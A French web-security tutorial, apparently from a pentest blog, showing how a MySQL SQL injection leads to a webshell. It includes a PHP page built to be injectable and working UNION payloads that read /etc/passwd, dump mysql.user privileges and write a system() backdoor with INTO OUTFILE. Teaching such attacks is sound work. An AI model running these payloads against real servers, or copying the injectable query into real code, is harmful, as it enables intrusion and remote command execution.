From SQLI to webshell

Comme vous le savez, il existe plusieurs SGBD : MySQL, SQLite3, MSSQL etc… Chacun de ces SGBD offrent des fonctionnalités différentes. Par exemple sous MSSQL on peut exécuter des commandes système à l’aide de la procédure xp_cmdshell.

Sous MySQL, il existe deux fonctions très intéressantes : LOAD_FILE() et INTO OUTFILE(). La première va nous permettre de charger un fichier contenu sur le serveur (i.e : en lire le contenu). Tandis que la seconde va nous permettre d’écrire dans un fichier (toujours sur le serveur).

Pour la suite de cet article je vais utiliser la même base de données et le même fichier PHP que celui que nous avons utilisé à la page "Injection SQL : Union Based".

Voici donc le fichier de traitement :

<?php
$bdd = new mysqli("localhost", "root", "", "sq");
if ($bdd->connect_error){
  die("Connection failed : ".$bdd->connect_error);
}
?>

<!DOCTYPE html>
<html>
  <head>
    <title>Playing with SQLi's</title>
  </head>
  <body>
        <?php
    if(!empty($_GET["idCategory"])){
      $category = $_GET["idCategory"];
      $query = "SELECT idArticle, nameArticle FROM article WHERE idCategory = ".$category;
      $res = $bdd->query($query);
      if($res->num_rows > 0){
        while($result = mysqli_fetch_assoc($res)){
          echo $result["nameArticle"]."<br>";
        }
      }
      else{
        echo mysqli_error($bdd);
      }
    }
    ?>
  </body>
</html>

Il est assez aisé, une fois l'injection SQL découverte de dumper le contenu d'un fichier présent sur un serveur. Pour cela il suffira d'utiliser la fonction load_file() de cette manière:

1 union select 1,load_file("/etc/passwd")

sqlrce1.png

Alors pourquoi c’est possible ? Eh bien tout simplement parce que l’utilisateur mysql a les droits de lecture sur ces fichiers. Par contre il ne les a pas sur le fichier /etc/shadow (pour des raisons évidentes de sécurité).

Est-ce qu'on peut faire mieux ? Oui ! Avec la fonction INTO OUTFILE, on va pouvoir écrire dans des fichiers. But first, on doit vérifier que l’on a les droits d’écriture. Et pour cela il faut d’abord savoir quel utilisateur local gère la base de données. Et encore une fois, on se servira d’une fonction built-in de MySQL (enfin plutôt d’une table) : mysql.user !

En effet, dans cette table on trouve tous pleins d’infos sur les droits des utilisateurs :

sqlrce2.png

Nous ce qu’on veut, c’est savoir quels sont les utilisateurs et surtout quels sont leurs droits relatifs à la création de fichier.

Pour récupérer les noms des utilisateurs on utilisera ce payload:

1 union select 1,user from mysql.user;#

Puis pour récupérer les droits de ces utilisateurs on utilisera cette requête:

1 union select 1,file_priv from mysql.user;#

On voit donc que l’utilisateur root a les droits en écriture tout comme l’utilisateur defte (symbolisé par le Y). On va donc pouvoir créer des fichiers sur le serveur ! Et si on peut écrire du contenu dans des fichiers, qu’est ce qui nous empêche d’y déposer un webshell ?

L’injection est simple :

1 union select "","<?php echo system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/backdoor.php';#

Attention cependant, l'écriture de fichier ne pourra se faire que sous certaines conditions. La première c'est que la directive:

secure_file_priv

Pointe vers un répertoire accessible depuis le serveur web. Il sera possible d'inclure des fichiers présents dans d'autres répertoires dans le cas ou une vulnérabilité de type LFI est présente. Pour savoir vers quel répertoire pointe la directive secure_file_priv on pourra utiliser la commande MySQL suivante:

SHOW VARIABLES LIKE "secure_file_priv"; 

Cette variable est généralement configurée dans le fichier :

/etc/mysql/mysql.cnf

Par ailleurs si des protections telles que SELinux ou encore apparmor sont présentes sur le serveur ciblé il sera très peu probable que l'écriture de fichiers soit autorisé.